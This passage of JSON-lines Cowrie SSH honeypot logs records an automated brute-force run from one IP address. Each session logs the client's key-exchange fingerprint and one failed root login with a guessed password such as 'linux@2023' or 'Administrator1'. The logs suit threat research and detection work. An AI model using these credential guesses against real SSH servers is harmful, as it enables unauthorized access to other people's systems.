","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:06.169838Z","src_ip":"60.165.124.241","session":"82122cda7c82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT123456","message":"login attempt [root/ROOT123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:06.891292Z","src_ip":"60.165.124.241","session":"82122cda7c82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:08.133411Z","src_ip":"60.165.124.241","session":"82122cda7c82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54288,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f73f3b08e6","protocol":"ssh","message":"New connection: 60.165.124.241:54288 (10.17.0.5:22) [session: 89f73f3b08e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:08.367590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:08.373003Z","src_ip":"60.165.124.241","session":"89f73f3b08e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:08.611839Z","src_ip":"60.165.124.241","session":"89f73f3b08e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Seekcy.123","message":"login attempt [root/Seekcy.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:09.332968Z","src_ip":"60.165.124.241","session":"89f73f3b08e6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:10.574144Z","src_ip":"60.165.124.241","session":"89f73f3b08e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57512,"dst_ip":"10.17.0.5","dst_port":22,"session":"c84c0205c1cc","protocol":"ssh","message":"New connection: 60.165.124.241:57512 (10.17.0.5:22) [session: c84c0205c1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:10.805547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:10.813562Z","src_ip":"60.165.124.241","session":"c84c0205c1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:11.050264Z","src_ip":"60.165.124.241","session":"c84c0205c1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yl123456","message":"login attempt [root/Yl123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:11.765123Z","src_ip":"60.165.124.241","session":"c84c0205c1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:13.005695Z","src_ip":"60.165.124.241","session":"c84c0205c1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60458,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4ccf0001a61","protocol":"ssh","message":"New connection: 60.165.124.241:60458 (10.17.0.5:22) [session: a4ccf0001a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:13.241529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:13.246720Z","src_ip":"60.165.124.241","session":"a4ccf0001a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:13.484597Z","src_ip":"60.165.124.241","session":"a4ccf0001a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux@2023","message":"login attempt [root/linux@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:14.205844Z","src_ip":"60.165.124.241","session":"a4ccf0001a61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:15.446589Z","src_ip":"60.165.124.241","session":"a4ccf0001a61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":35438,"dst_ip":"10.17.0.5","dst_port":22,"session":"d64b16bd98aa","protocol":"ssh","message":"New connection: 60.165.124.241:35438 (10.17.0.5:22) [session: d64b16bd98aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:15.679348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:15.687347Z","src_ip":"60.165.124.241","session":"d64b16bd98aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:15.924784Z","src_ip":"60.165.124.241","session":"d64b16bd98aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@1234","message":"login attempt [root/pwd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:16.644469Z","src_ip":"60.165.124.241","session":"d64b16bd98aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:17.884967Z","src_ip":"60.165.124.241","session":"d64b16bd98aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":38154,"dst_ip":"10.17.0.5","dst_port":22,"session":"061fdf776baf","protocol":"ssh","message":"New connection: 60.165.124.241:38154 (10.17.0.5:22) [session: 061fdf776baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:18.117007Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:18.121123Z","src_ip":"60.165.124.241","session":"061fdf776baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:18.357733Z","src_ip":"60.165.124.241","session":"061fdf776baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r5tA","message":"login attempt [root/1q2w3e4r5tA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:19.071984Z","src_ip":"60.165.124.241","session":"061fdf776baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:20.311311Z","src_ip":"60.165.124.241","session":"061fdf776baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":41128,"dst_ip":"10.17.0.5","dst_port":22,"session":"983f2660d750","protocol":"ssh","message":"New connection: 60.165.124.241:41128 (10.17.0.5:22) [session: 983f2660d750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:20.545998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:20.553681Z","src_ip":"60.165.124.241","session":"983f2660d750","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:20.790544Z","src_ip":"60.165.124.241","session":"983f2660d750","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mcn140201@","message":"login attempt [root/Mcn140201@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:21.510691Z","src_ip":"60.165.124.241","session":"983f2660d750","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:22.750527Z","src_ip":"60.165.124.241","session":"983f2660d750","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":44234,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c5420b00a62","protocol":"ssh","message":"New connection: 60.165.124.241:44234 (10.17.0.5:22) [session: 1c5420b00a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:22.984321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:22.988732Z","src_ip":"60.165.124.241","session":"1c5420b00a62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:23.225721Z","src_ip":"60.165.124.241","session":"1c5420b00a62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator1","message":"login attempt [root/Administrator1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:23.942763Z","src_ip":"60.165.124.241","session":"1c5420b00a62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:25.185661Z","src_ip":"60.165.124.241","session":"1c5420b00a62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":47208,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2e98419b90f","protocol":"ssh","message":"New connection: 60.165.124.241:47208 (10.17.0.5:22) [session: d2e98419b90f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:25.419704Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:25.424359Z","src_ip":"60.165.124.241","session":"d2e98419b90f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:25.661665Z","src_ip":"60.165.124.241","session":"d2e98419b90f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"baibai","message":"login attempt [root/baibai] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:26.385329Z","src_ip":"60.165.124.241","session":"d2e98419b90f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:27.625021Z","src_ip":"60.165.124.241","session":"d2e98419b90f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":50192,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1214f7ae4a7","protocol":"ssh","message":"New connection: 60.165.124.241:50192 (10.17.0.5:22) [session: d1214f7ae4a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:28:27.858801Z"}
